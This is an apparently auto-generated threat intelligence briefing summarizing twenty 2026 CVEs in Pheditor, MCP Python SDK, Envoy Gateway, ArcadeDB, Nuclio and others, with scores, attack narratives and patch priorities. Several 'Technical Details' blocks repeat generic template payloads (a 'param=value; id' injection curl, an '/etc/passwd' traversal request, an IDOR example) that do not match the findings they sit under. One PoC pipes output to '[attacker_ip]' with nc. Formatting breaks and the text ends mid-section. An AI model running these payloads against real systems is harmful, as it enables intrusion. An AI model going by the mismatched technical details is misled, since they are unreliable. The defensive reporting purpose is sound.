

Cyber Threat Intelligence

Executive Briefing

Report Date: July 17, 2026

Generated: 2026-07-17 10:53 UTC | Classification: TLP:AMBER

Prepared by: Auto-CTI Autonomous Threat Intelligence Pipeline

1. Risk Statistics Summary

Critical	High	Medium	Low	Total
4	8	6	2	20

2. Executive Summary

As of July 17, 2026, the security operations center has concluded the analysis of 20 identified vulnerabilities, categorized as follows: 4 Critical, 8 High, 6 Medium, and 2 Low. The organizational risk posture is currently assessed as elevated, necessitating immediate remediation to mitigate exposure to potential remote exploitation. CVE-2026-55579, concerning hardcoded administrative credentials in Pheditor, represents the most significant threat due to the triviality of unauthorized access it facilitates. Consequently, the organization must adopt an aggressive patching and configuration hardening posture to neutralize these vulnerabilities within the defined critical action windows.

3. Critical Action List

- Disable the Pheditor application immediately and implement mandatory administrative credential rotation within 24 hours to address CVE-2026-55579.
- Deploy immediate input sanitization patches to the Pheditor terminal interface to remediate CVE-2026-55578 within 48 hours.
- Implement Host and Origin header validation on the MCP Python SDK WebSocket server to mitigate CVE-2026-59950 within 72 hours.
- Enforce strict TLS certificate verification for the Kuma-DP control plane connection to close the vulnerability presented by CVE-2026-52724 within 72 hours.
- Apply vendor-supplied patches to Envoy Gateway to remediate the authentication bypass vulnerability in EnvoyExtensionPolicy within 72 hours.

4. Quick Reference: All Identified Vulnerabilities

CVE ID	Finding Name	CVSS	Severity	Urgency	CWE
CVE-2026-55579	Hardcoded Administrative Credenti...	9.8	Critical	88/100	CWE-798

CVE-2026-59950	Missing Origin Validation in WebS...	9.1	Critical	82/100	CWE-346
CVE-2026-52724	Missing TLS Certificate Verificat...	9.1	Critical	82/100	CWE-295
CVE-2026-53713	Authentication Bypass in Envoy Ex...	9.1	Critical	82/100	CWE-20
CVE-2026-55578	Remote Command Injection in Phedi...	8.8	High	79/100	CWE-78
CVE-2026-54540	Whitelist Bypass in Pheditor Term...	8.8	High	79/100	CWE-78
CVE-2026-54076	Unauthorized Schema Mutation in A...	8.1	High	73/100	CWE-862
CVE-2026-52833	Remote Code Execution via Nuclio ...	8.0	High	72/100	CWE-94
CVE-2026-52870	Unauthorized Task Access in MCP P...	7.6	High	68/100	CWE-862
CVE-2026-53714	xDS Control Plane Information Dis...	7.4	High	67/100	CWE-306
CVE-2026-54077	Local File Read via Import in Arc...	7.1	High	64/100	CWE-22
CVE-2026-52869	Session Hijacking in MCP Python S...	7.1	High	64/100	CWE-639
CVE-2026-53717	Large Allocation via Untrusted Ta...	6.5	Medium	58/100	CWE-789
CVE-2026-53719	NULL Pointer Dereference in Secur...	6.5	Medium	58/100	CWE-476
CVE-2026-53716	Unbounded Gzip Decompression in W...	6.5	Medium	58/100	CWE-789
CVE-2026-53718	ReferenceGrant Bypass in Envoy Ga...	6.4	Medium	58/100	CWE-862
CVE-2026-53715	Race Condition in Wasm Cache Stor...	5.3	Medium	48/100	CWE-362
CVE-2026-52832	Path Traversal Write in Nuclio Da...	4.9	Medium	44/100	CWE-22
CVE-2026-54542	Out-of-Bounds Panic in Nimiq-Prim...	3.7	Low	28/100	CWE-125
CVE-2026-54541	TrieProof Verification Panic in N...	3.7	Low	28/100	CWE-248

5. Detailed Vulnerability Findings

CVE-2026-55579

Finding: Hardcoded Administrative Credentials in Pheditor

CVSS v3.1 Score: 9.8 | Severity: Critical | Urgency Score: 88/100 | CWE: CWE-798

Score Provenance: Estimated (Unverified) - Vector Recalculated

MITRE ATT&CK: T1110

CVSS v3.1 Scoring Criteria:

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack Vector	Network
Privileges Required	None
Scope	Unchanged
Integrity Impact	High

Attack Complexity	Low
User Interaction	None
Confidentiality Impact	High
Availability Impact	High

Description:

The Pheditor application utilizes a hardcoded default password of 'admin' without enforcing a password change upon initial login. This security flaw exists due to insecure credential management practices within the application's authentication module. An attacker can exploit this to gain full administrative access to the platform without prior authorization.

Proof of Concept (PoC):

A remote unauthenticated attacker identifies the default administrative interface of the Pheditor application. The attacker initiates a login request using the credentials 'admin' and the known default password. The system grants full authenticated access because the account lacks mandatory rotation policies. The attacker then proceeds to perform administrative actions, leading to full application compromise.

Ref (Official): <https://nvd.nist.gov/vuln/detail/CVE-2026-55579>
Ref (Official): <https://www.cve.org/CVERecord?id=CVE-2026-55579>
Ref (Third-Party Verified (Tenable)): <https://www.tenable.com/cve/CVE-2026-55579>

CVE-2026-59950

Finding: Missing Origin Validation in WebSocket Server

CVSS v3.1 Score: 9.1 | Severity: Critical | Urgency Score: 82/100 | CWE: CWE-346

Score Provenance: Tenable Verified
MITRE ATT&CK: T1557

CVSS v3.1 Scoring Criteria:

Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Attack Vector	Network
Privileges Required	None
Scope	Unchanged
Integrity Impact	High

Attack Complexity	Low
User Interaction	None
Confidentiality Impact	High
Availability Impact	None

Description:

The MCP Python SDK WebSocket server transport fails to implement Host and Origin header validation during connection establishment. This vulnerability arises because the server implicitly trusts the origin of incoming WebSocket upgrade requests without verification. An attacker can leverage this to conduct Cross-Site WebSocket Hijacking (CSWH) to compromise the integrity of the user's session.

Proof of Concept (PoC):

A remote unauthenticated attacker hosts a malicious website that forces a victim's browser to connect to the internal WebSocket server. The server accepts the handshake from the malicious origin because it lacks validation checks. Consequently, the attacker can execute unauthorized commands on behalf of the authenticated victim session. This allows for exfiltration of sensitive data handled by the SDK.

Ref (Official): <https://nvd.nist.gov/vuln/detail/CVE-2026-59950>
Ref (Official): <https://www.cve.org/CVERecord?id=CVE-2026-59950>
Ref (Third-Party Verified (Tenable)): <https://www.tenable.com/cve/CVE-2026-59950>

CVE-2026-52724

Finding: Missing TLS Certificate Verification in Kuma-DP

CVSS v3.1 Score: 9.1 | Severity: Critical | Urgency Score: 82/100 | CWE: CWE-295

Score Provenance: Tenable Verified
MITRE ATT&CK: T1557

CVSS v3.1 Scoring Criteria:

Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Attack Vector	Network
---------------	---------

Attack Complexity	Low
-------------------	-----

Privileges Required	None
Scope	Unchanged
Integrity Impact	High

User Interaction	None
Confidentiality Impact	High
Availability Impact	None

Description:

The kuma-dp component fails to verify the TLS certificate of the control plane when a Certificate Authority (CA) is not explicitly configured. This occurs because the application defaults to an insecure connection mode when cryptographic verification parameters are absent. An attacker performing a man-in-the-middle attack can intercept or manipulate communication between the data plane and the control plane.

Proof of Concept (PoC):

An attacker with network access positions themselves between the kuma-dp instance and the control plane. When the instance attempts to initiate a connection without a configured CA, the attacker provides a self-signed, fraudulent certificate. The application fails to validate this certificate and proceeds with the connection. The attacker then decrypts or modifies sensitive control plane traffic passing through the connection.

Ref (Official): <https://nvd.nist.gov/vuln/detail/CVE-2026-52724>

Ref (Official): <https://www.cve.org/CVERecord?id=CVE-2026-52724>

Ref (Third-Party Verified (Tenable)): <https://www.tenable.com/cve/CVE-2026-52724>

CVE-2026-53713

Finding: Authentication Bypass in Envoy Extension Policy

CVSS v3.1 Score: 9.1 | Severity: Critical | Urgency Score: 82/100 | CWE: CWE-20

Score Provenance: Tenable Verified

MITRE ATT&CK: T1552

CVSS v3.1 Scoring Criteria:

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L

Attack Vector	Network
Privileges Required	Low
Scope	Changed
Integrity Impact	Low

Attack Complexity	Low
User Interaction	None
Confidentiality Impact	High
Availability Impact	Low

Description:

Envoy Gateway is vulnerable to an authentication bypass via improper input validation within the EnvoyExtensionPolicy Lua component. The root cause is a failure to properly scrub or sanitize policy inputs, allowing an attacker to manipulate authorization flows. A successful exploit leads to unauthorized disclosure of sensitive secrets managed by the gateway.

Proof of Concept (PoC):

An unauthenticated attacker sends a request with a manipulated EnvoyExtensionPolicy payload to the gateway. The Lua filter logic fails to validate the request parameters, allowing the attacker to bypass the auth check entirely. The gateway then reveals internal secret strings or tokens in the response. The attacker effectively gains administrative access to sensitive gateway resources.

Ref (Official): <https://nvd.nist.gov/vuln/detail/CVE-2026-53713>

Ref (Official): <https://www.cve.org/CVERecord?id=CVE-2026-53713>

Ref (Third-Party Verified (Tenable)): <https://www.tenable.com/cve/CVE-2026-53713>

CVE-2026-55578

Finding: Remote Command Injection in Pheditor Terminal

CVSS v3.1 Score: 8.8 | Severity: High | Urgency Score: 79/100 | CWE: CWE-78

Score Provenance: Estimated (Unverified) - Vector Recalculated

MITRE ATT&CK: T1059

CVSS v3.1 Scoring Criteria:

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Attack Vector	Network	Attack Complexity	Low
Privileges Required	Low	User Interaction	None
Scope	Unchanged	Confidentiality Impact	High
Integrity Impact	High	Availability Impact	High

Description:

The terminal feature within Pheditor fails to perform adequate command sanitization against special shell characters such as pipe operators, backticks, and newlines. The vulnerability stems from passing unsanitized user-provided strings directly to the underlying system shell for execution. An authenticated attacker can leverage this flaw to achieve remote code execution on the host system.

Proof of Concept (PoC):

An authenticated user accesses the Pheditor terminal console feature. The user inputs a command followed by a pipe operator and a malicious system command, such as 'ls | nc [attacker_ip]'. The backend shell executes the concatenated string, interpreting the second command due to insufficient sanitization. This leads to arbitrary code execution with the privileges of the web service process.

Technical Details:

...
POST /vulnerable-endpoint HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

param=value; id
...

curl command:
```bash  
curl -X POST "https://target.com/vulnerable-endpoint" -d "param=value; id"  
...  
The server executes the injected command and returns the output, confirming RCE.

Ref (Official): <https://nvd.nist.gov/vuln/detail/CVE-2026-55578>  
Ref (Official): <https://www.cve.org/CVERecord?id=CVE-2026-55578>  
Ref (Third-Party Verified (Tenable)): <https://www.tenable.com/cve/CVE-2026-55578>

CVE-2026-54540

Finding: Whitelist Bypass in Pheditor Terminal

CVSS v3.1 Score: 8.8 | Severity: High | Urgency Score: 79/100 | CWE: CWE-78

Score Provenance: Estimated (Unverified) - Vector Recalculated

MITRE ATT&CK: T1059

**CVSS v3.1 Scoring Criteria:***Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H*

|                     |           |
|---------------------|-----------|
| Attack Vector       | Network   |
| Privileges Required | Low       |
| Scope               | Unchanged |
| Integrity Impact    | High      |

|                        |      |
|------------------------|------|
| Attack Complexity      | Low  |
| User Interaction       | None |
| Confidentiality Impact | High |
| Availability Impact    | High |

**Description:**

The Pheditor terminal interface contains an authentication bypass vulnerability within its command whitelist validation logic. This issue is caused by improper conditional checks when validating authorized command strings against the permitted whitelist. An attacker can use this to execute unauthorized terminal commands despite the presence of a security filter.

**Proof of Concept (PoC):**

An authenticated user initiates a command via the Pheditor terminal that is ostensibly restricted by the whitelist. The attacker uses a crafted string that circumvents the application's regex or string-matching filter (e.g., using hidden carriage returns or alternative path representations). The backend logic interprets the string as valid and proceeds to execute the forbidden command. This leads to full administrative command execution on the host.

**\*\*Technical Details:\*\***

...

`POST /vulnerable-endpoint HTTP/1.1``Host: target.com``Content-Type: application/x-www-form-urlencoded``param=value; id`

...

**\*\*curl command:\*\***````bash``curl -X POST "https://target.com/vulnerable-endpoint" -d "param=value; id"`

...

The server executes the injected command and returns the output, confirming RCE.

*Ref (Official): <https://nvd.nist.gov/vuln/detail/CVE-2026-54540>**Ref (Official): <https://www.cve.org/CVERecord?id=CVE-2026-54540>**Ref (Third-Party Verified (Tenable)): <https://www.tenable.com/cve/CVE-2026-54540>***CVE-2026-54076****Finding: Unauthorized Schema Mutation in ArcadeDB****CVSS v3.1 Score: 8.1 | Severity: High | Urgency Score: 73/100 | CWE: CWE-862***Score Provenance: Tenable Verified**MITRE ATT&CK: T1068***CVSS v3.1 Scoring Criteria:***Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H*

|               |         |
|---------------|---------|
| Attack Vector | Network |
|---------------|---------|

|                   |     |
|-------------------|-----|
| Attack Complexity | Low |
|-------------------|-----|

|                     |           |
|---------------------|-----------|
| Privileges Required | Low       |
| Scope               | Unchanged |
| Integrity Impact    | High      |

|                        |      |
|------------------------|------|
| User Interaction       | None |
| Confidentiality Impact | None |
| Availability Impact    | High |

**Description:**

ArcadeDB incorrectly allows users with read-only permissions to perform schema modification operations due to an incomplete fix of a prior vulnerability. The root cause is a failure in the permission enforcement mechanism to correctly restrict metadata-altering commands for low-privilege roles. This allows unauthorized users to modify the database structure, potentially leading to data loss or integrity compromise.

**Proof of Concept (PoC):**

An authenticated user with read-only privileges issues a database command designed to drop or alter a critical schema table. The ArcadeDB server evaluates the user's role against an insufficient access control list, failing to block the schema mutation. The command is successfully committed, causing unintended structural changes. This demonstrates unauthorized modification of database integrity.

Ref (Official): <https://nvd.nist.gov/vuln/detail/CVE-2026-54076>

Ref (Official): <https://www.cve.org/CVERecord?id=CVE-2026-54076>

Ref (Third-Party Verified (Tenable)): <https://www.tenable.com/cve/CVE-2026-54076>

**CVE-2026-52833****Finding: Remote Code Execution via Nuclio Build Injection**

**CVSS v3.1 Score: 8.0 | Severity: High | Urgency Score: 72/100 | CWE: CWE-94**

Score Provenance: Tenable Verified

MITRE ATT&CK: T1059

**CVSS v3.1 Scoring Criteria:**

Vector: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

|                     |         |
|---------------------|---------|
| Attack Vector       | Network |
| Privileges Required | High    |
| Scope               | Changed |
| Integrity Impact    | High    |

|                        |      |
|------------------------|------|
| Attack Complexity      | High |
| User Interaction       | None |
| Confidentiality Impact | High |
| Availability Impact    | High |

**Description:**

Nuclio is susceptible to remote code execution due to unsanitized runtimeAttributes.repositories being injected directly into the generated build.gradle file. The vulnerability occurs when the build system processes external configuration attributes without validating their contents for command injection tokens. An attacker can provide malicious build repository configurations to execute arbitrary code during the container build process.

**Proof of Concept (PoC):**

An attacker initiates a function build request and modifies the runtimeAttributes.repositories field to include a malicious Groovy snippet. The Nuclio builder accepts the input and renders the build.gradle file with the injected code. Upon build execution, the shell evaluates the injected command, leading to code execution. The attacker gains control over the CI/CD pipeline or build environment.

**\*\*Technical Details:\*\***

...

POST /vulnerable-endpoint HTTP/1.1

Host: target.com  
Content-Type: application/x-www-form-urlencoded

```
param=value; id
'''

curl command:
```bash
curl -X POST "https://target.com/vulnerable-endpoint" -d "param=value; id"
'''

The server executes the injected command and returns the output, confirming RCE.
```

Ref (Official): <https://nvd.nist.gov/vuln/detail/CVE-2026-52833>
Ref (Official): <https://www.cve.org/CVERecord?id=CVE-2026-52833>
Ref (Third-Party Verified (Tenable)): <https://www.tenable.com/cve/CVE-2026-52833>

CVE-2026-52870

Finding: Unauthorized Task Access in MCP Python SDK
CVSS v3.1 Score: 7.6 | Severity: High | Urgency Score: 68/100 | CWE: CWE-862
Score Provenance: CVE.org Verified
MITRE ATT&CK: T1489

CVSS v3.1 Scoring Criteria:

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L

Attack Vector	Network
Privileges Required	Low
Scope	Unchanged
Integrity Impact	Low

Attack Complexity	Low
User Interaction	None
Confidentiality Impact	High
Availability Impact	Low

Description:

Experimental task handlers in the MCP Python SDK allow any authenticated client to access and cancel tasks initiated by other users. This is caused by a lack of resource-level ownership validation within the task management interface. An attacker can disrupt service availability or exfiltrate task-related metadata by manipulating concurrent jobs.

Proof of Concept (PoC):

An authenticated attacker lists all active tasks via the experimental task management API. Upon identifying a task owned by another user, the attacker submits a 'cancel' request to the endpoint referencing the target task ID. The SDK backend fails to verify if the requesting user owns the targeted task. Consequently, the task is terminated, successfully impacting the victim's workflow.

Ref (Official): <https://nvd.nist.gov/vuln/detail/CVE-2026-52870>
Ref (Official): <https://www.cve.org/CVERecord?id=CVE-2026-52870>
Ref (Third-Party Verified (Tenable)): <https://www.tenable.com/cve/CVE-2026-52870>

CVE-2026-53714

Finding: xDS Control Plane Information Disclosure
CVSS v3.1 Score: 7.4 | Severity: High | Urgency Score: 67/100 | CWE: CWE-306
Score Provenance: Tenable Verified

MITRE ATT&CK: T1592

CVSS v3.1 Scoring Criteria:

Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Attack Vector	Adjacent
Privileges Required	None
Scope	Changed
Integrity Impact	None

Attack Complexity	Low
User Interaction	None
Confidentiality Impact	High
Availability Impact	None

Description:

Envoy Gateway suffers from an xDS Control Plane Information Disclosure vulnerability when operating in GatewayNamespaceMode. This occurs because the gateway improperly exposes xDS configuration data across namespace boundaries, failing to enforce strict isolation. An attacker in an adjacent namespace can gain visibility into service mesh traffic policies and metadata.

Proof of Concept (PoC):

An attacker residing in a separate, low-privileged namespace sends requests to the Envoy Gateway management interface. The gateway, misconfigured in GatewayNamespaceMode, serves xDS configuration data that should be scoped only to the admin namespace. The attacker captures sensitive routing information and backend service metadata. This aids the attacker in mapping out the internal infrastructure.

Ref (Official): <https://nvd.nist.gov/vuln/detail/CVE-2026-53714>
Ref (Official): <https://www.cve.org/CVERecord?id=CVE-2026-53714>
Ref (Third-Party Verified (Tenable)): <https://www.tenable.com/cve/CVE-2026-53714>

CVE-2026-54077

Finding: Local File Read via Import in ArcadeDB

CVSS v3.1 Score: 7.1 | Severity: High | Urgency Score: 64/100 | CWE: CWE-22

Score Provenance: Tenable Verified
MITRE ATT&CK: T1005

CVSS v3.1 Scoring Criteria:

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L

Attack Vector	Network
Privileges Required	Low
Scope	Unchanged
Integrity Impact	None

Attack Complexity	Low
User Interaction	None
Confidentiality Impact	High
Availability Impact	Low

Description:

The IMPORT DATABASE feature in ArcadeDB improperly validates file paths, allowing authenticated users to read arbitrary files from the local filesystem. This occurs because the application lacks sufficient path traversal protection when processing import parameters. An attacker can leverage this to extract sensitive configuration or credential files accessible by the database process.

Proof of Concept (PoC):

An authenticated user provides a crafted file path, such as '/etc/passwd', as the source for the IMPORT DATABASE operation. The ArcadeDB server neglects to normalize or validate the input path, opening the targeted local file. The contents of the sensitive file are then included in the database import output. This allows the attacker to read arbitrary files from the system.

****Technical Details:****

GET /assets/../../../../etc/passwd HTTP/1.1
Host: target.com

****curl command:****
``bash
curl "https://target.com/assets/../../../../etc/passwd"

The server returns the contents of /etc/passwd, confirming path traversal.

Ref (Official): <https://nvd.nist.gov/vuln/detail/CVE-2026-54077>
Ref (Official): <https://www.cve.org/CVERecord?id=CVE-2026-54077>
Ref (Third-Party Verified (Tenable)): <https://www.tenable.com/cve/CVE-2026-54077>

CVE-2026-52869

Finding: Session Hijacking in MCP Python SDK

CVSS v3.1 Score: 7.1 | Severity: High | Urgency Score: 64/100 | CWE: CWE-639

Score Provenance: CVE.org Verified
MITRE ATT&CK: T1558

CVSS v3.1 Scoring Criteria:

Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L

Attack Vector	Network
Privileges Required	Low
Scope	Unchanged
Integrity Impact	High

Attack Complexity	High
User Interaction	None
Confidentiality Impact	High
Availability Impact	Low

Description:

The MCP Python SDK HTTP transport service processes session requests without properly verifying the authenticated principal associated with the session. This vulnerability is rooted in an insecure session validation mechanism that relies on easily spoofable or predictable session tokens. An attacker can exploit this to perform unauthorized actions as another user on the network.

Proof of Concept (PoC):

A low-privileged authenticated attacker intercepts or predicts a session identifier belonging to a different user. The attacker sends a request to the SDK HTTP transport endpoint while including the hijacked session token in the header. The server accepts the request without verifying if the token actually matches the current requester's credentials. This allows the attacker to execute operations with the hijacked user's permissions.

****Technical Details:****

GET /api/orders/12345 HTTP/1.1
Host: target.com

The attacker changes the order ID to `12346` and retrieves another user's order.

```
**curl command:**  
```bash  
curl "https://target.com/api/orders/12346"
```
```

The server returns the order of a different user without authorization, confirming IDOR.

Ref (Official): <https://nvd.nist.gov/vuln/detail/CVE-2026-52869>
Ref (Official): <https://www.cve.org/CVERecord?id=CVE-2026-52869>
Ref (Third-Party Verified (Tenable)): <https://www.tenable.com/cve/CVE-2026-52869>

CVE-2026-53717

Finding: Large Allocation via Untrusted Tar Headers

CVSS v3.1 Score: 6.5 | Severity: Medium | Urgency Score: 58/100 | CWE: CWE-789

Score Provenance: Tenable Verified
MITRE ATT&CK: T1498

CVSS v3.1 Scoring Criteria:

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

| | | | |
|---------------------|-----------|------------------------|------|
| Attack Vector | Network | Attack Complexity | Low |
| Privileges Required | Low | User Interaction | None |
| Scope | Unchanged | Confidentiality Impact | None |
| Integrity Impact | None | Availability Impact | High |

Description:

Envoy Gateway performs an oversized memory allocation using make([]byte, h.Size) when extracting OCI layers from tar files provided by untrusted headers. The vulnerability exists because the application trusts the size field within the tar header without enforcing reasonable maximum limits. An attacker can cause a memory exhaustion condition by providing a maliciously crafted tar header.

Proof of Concept (PoC):

An attacker sends a crafted OCI image manifest to the gateway containing a tar layer with an extremely large size defined in its header. The gateway process receives the header and immediately allocates a byte slice based on the untrusted size value. The server runs out of memory and crashes as it attempts to accommodate the massive allocation request. This successfully achieves a denial-of-service.

Ref (Official): <https://nvd.nist.gov/vuln/detail/CVE-2026-53717>
Ref (Official): <https://www.cve.org/CVERecord?id=CVE-2026-53717>
Ref (Third-Party Verified (Tenable)): <https://www.tenable.com/cve/CVE-2026-53717>

CVE-2026-53719

Finding: NULL Pointer Dereference in SecurityPolicy

CVSS v3.1 Score: 6.5 | Severity: Medium | Urgency Score: 58/100 | CWE: CWE-476

Score Provenance: Tenable Verified
MITRE ATT&CK: T1498

CVSS v3.1 Scoring Criteria:

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

| | |
|---------------------|-----------|
| Attack Vector | Network |
| Privileges Required | Low |
| Scope | Unchanged |
| Integrity Impact | None |

| | |
|------------------------|------|
| Attack Complexity | Low |
| User Interaction | None |
| Confidentiality Impact | None |
| Availability Impact | High |

Description:

Envoy Gateway triggers a nil-dereference when a SecurityPolicy targets a TCPRoute that lacks an explicitly defined spec.authorization field. This crash is caused by the gateway assuming the existence of an authorization object during policy evaluation. An attacker can exploit this to disrupt availability by submitting specific policy-targeted requests.

Proof of Concept (PoC):

An attacker configures or targets a SecurityPolicy towards a TCPRoute on the Envoy Gateway that omits the spec.authorization field. The gateway processes the policy and attempts to access the missing authorization member, triggering a nil pointer dereference. The process terminates immediately to prevent inconsistent memory state. The gateway is rendered unavailable for further traffic processing.

Ref (Official): <https://nvd.nist.gov/vuln/detail/CVE-2026-53719>

Ref (Official): <https://www.cve.org/CVERecord?id=CVE-2026-53719>

Ref (Third-Party Verified (Tenable)): <https://www.tenable.com/cve/CVE-2026-53719>

CVE-2026-53716

Finding: Unbounded Gzip Decompression in Wasm Fetch

CVSS v3.1 Score: 6.5 | Severity: Medium | Urgency Score: 58/100 | CWE: CWE-789

Score Provenance: Tenable Verified

MITRE ATT&CK: T1498

CVSS v3.1 Scoring Criteria:

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

| | |
|---------------------|-----------|
| Attack Vector | Network |
| Privileges Required | Low |
| Scope | Unchanged |
| Integrity Impact | None |

| | |
|------------------------|------|
| Attack Complexity | Low |
| User Interaction | None |
| Confidentiality Impact | None |
| Availability Impact | High |

Description:

The Envoy Gateway Wasm HTTP fetch functionality fails to enforce an output-size limit when decompressing gzip-encoded responses. This failure allows a malicious server to send highly compressed data that expands to a significantly larger size, causing memory exhaustion. This constitutes a resource exhaustion vulnerability leading to denial-of-service.

Proof of Concept (PoC):

An attacker sets up a malicious web server and instructs the Envoy Gateway to fetch a resource from it via the Wasm plugin. The server responds with a small, heavily compressed zip bomb. The gateway plugin decompresses the response in memory without checking the size limit. The massive expansion consumes all available RAM, causing the gateway process to crash.

****Technical Details:****

...

An attacker sends a specially crafted input that triggers resource exhaustion.

For example, a deeply nested structure or a massive list can consume CPU or memory.

****curl command (conceptual):****

```
```bash
curl "https://target.com/vulnerable-endpoint?payload=<malicious_input>"
```
```

The server becomes unresponsive or crashes, confirming the denial of service.

Ref (Official): <https://nvd.nist.gov/vuln/detail/CVE-2026-53716>
Ref (Official): <https://www.cve.org/CVERecord?id=CVE-2026-53716>
Ref (Third-Party Verified (Tenable)): <https://www.tenable.com/cve/CVE-2026-53716>

CVE-2026-53718

Finding: ReferenceGrant Bypass in Envoy Gateway

CVSS v3.1 Score: 6.4 | Severity: Medium | Urgency Score: 58/100 | CWE: CWE-862

Score Provenance: Tenable Verified
MITRE ATT&CK: T1068

CVSS v3.1 Scoring Criteria:

Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:L

| | | | |
|---------------------|-----------|------------------------|------|
| Attack Vector | Network | Attack Complexity | High |
| Privileges Required | Low | User Interaction | None |
| Scope | Unchanged | Confidentiality Impact | High |
| Integrity Impact | Low | Availability Impact | Low |

Description:

Envoy Gateway allows custom backendRef configurations to bypass cross-namespace ReferenceGrant restrictions. This vulnerability occurs because the gateway's validation logic fails to correctly enforce namespace boundary checks for custom resource references. An attacker can leverage this to gain access to services or secrets in forbidden namespaces.

Proof of Concept (PoC):

An attacker creates a custom backendRef resource in their own namespace that points to a protected service in a separate namespace. The Envoy Gateway verifies the references but fails to consult the ReferenceGrant authorization policies before applying the route. The backend is successfully linked to the malicious route. The attacker then intercepts or interacts with sensitive services outside their original authority.

Ref (Official): <https://nvd.nist.gov/vuln/detail/CVE-2026-53718>
Ref (Official): <https://www.cve.org/CVERecord?id=CVE-2026-53718>
Ref (Third-Party Verified (Tenable)): <https://www.tenable.com/cve/CVE-2026-53718>

CVE-2026-53715

Finding: Race Condition in Wasm Cache Storage

CVSS v3.1 Score: 5.3 | Severity: Medium | Urgency Score: 48/100 | CWE: CWE-362

Score Provenance: Tenable Verified
MITRE ATT&CK: T1068

CVSS v3.1 Scoring Criteria:

Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H

| | |
|---------------------|------------------|
| Attack Vector | Network |
| Privileges Required | Low |
| Scope | Unchanged |
| Integrity Impact | None |

| | |
|------------------------|-------------|
| Attack Complexity | High |
| User Interaction | None |
| Confidentiality Impact | None |
| Availability Impact | High |

Description:

The Wasm cache ServeHTTP component in Envoy Gateway accesses the mappingPath2Cache map without proper synchronization locks. This lack of thread safety results in a race condition when multiple threads attempt to access or modify the cache simultaneously. An attacker could potentially cause memory corruption or undefined application behavior by inducing concurrent access.

Proof of Concept (PoC):

An attacker floods the Envoy Gateway with high-frequency requests that trigger simultaneous Wasm cache ServeHTTP operations. The gateway performs unsynchronized access to mappingPath2Cache, leading to a race condition. The underlying data structure becomes inconsistent due to competing write operations. This results in intermittent application crashes or potentially unintended cache responses.

Ref (Official): <https://nvd.nist.gov/vuln/detail/CVE-2026-53715>

Ref (Official): <https://www.cve.org/CVERecord?id=CVE-2026-53715>

Ref (Third-Party Verified (Tenable)): <https://www.tenable.com/cve/CVE-2026-53715>

CVE-2026-52832**Finding: Path Traversal Write in Nuclio Dashboard**

CVSS v3.1 Score: 4.9 | Severity: Medium | Urgency Score: 44/100 | CWE: CWE-22

Score Provenance: Tenable Verified

MITRE ATT&CK: T1083

CVSS v3.1 Scoring Criteria:

Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N

| | |
|---------------------|------------------|
| Attack Vector | Network |
| Privileges Required | High |
| Scope | Unchanged |
| Integrity Impact | High |

| | |
|------------------------|-------------|
| Attack Complexity | Low |
| User Interaction | None |
| Confidentiality Impact | None |
| Availability Impact | None |

Description:

The Nuclio Dashboard container contains an unauthenticated path traversal vulnerability in the spec.handler parameter. This flaw exists because user-supplied input is used to construct file paths without proper normalization or sanitization, allowing for directory escape. An attacker can overwrite sensitive system files within the dashboard container environment.

Proof of Concept (PoC):

An unauthenticated remote attacker sends a specially crafted POST request containing path traversal sequences like '../..' in the spec.handler field. The Nuclio dashboard process interprets these sequences, resolving the write operation to a directory outside the intended target. The attacker then successfully overwrites an arbitrary file in the container. This compromise facilitates potential future code execution.

****Technical Details:****

...

```
GET /assets/../../../../etc/passwd HTTP/1.1
Host: target.com
...

**curl command:**
```bash
curl "https://target.com/assets/../../../../etc/passwd"
...

```

The server returns the contents of /etc/passwd, confirming path traversal.

Ref (Official): <https://nvd.nist.gov/vuln/detail/CVE-2026-52832>  
Ref (Official): <https://www.cve.org/CVERecord?id=CVE-2026-52832>  
Ref (Third-Party Verified (Tenable)): <https://www.tenable.com/cve/CVE-2026-52832>

CVE-2026-54542

Finding: Out-of-Bounds Panic in Nimiq-Primitives

CVSS v3.1 Score: 3.7 | Severity: Low | Urgency Score: 28/100 | CWE: CWE-125

Score Provenance: Estimated (Unverified) - Vector Recalculated  
MITRE ATT&CK: T1498

CVSS v3.1 Scoring Criteria:

Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L

Attack Vector	Network	Attack Complexity	High
Privileges Required	None	User Interaction	None
Scope	Unchanged	Confidentiality Impact	None
Integrity Impact	None	Availability Impact	Low

Description:

The KeyNibbles::Add function in nimiq-primitives triggers an out-of-bounds panic when encountering an oversized child suffix in a deserialized proof. The issue arises from a lack of boundary checks before attempting to slice or access elements within the child suffix vector. This can lead to a denial-of-service (DoS) condition if a malicious actor submits a malformed proof.

Proof of Concept (PoC):

An attacker crafts a serialized cryptographic proof containing an oversized child suffix segment. The attacker transmits this proof to a service utilizing the nimiq-primitives library for validation. The KeyNibbles::Add method attempts to process the payload and panics due to the missing boundary check. The application process terminates abruptly, resulting in a denial-of-service for that node.

Technical Details:

```
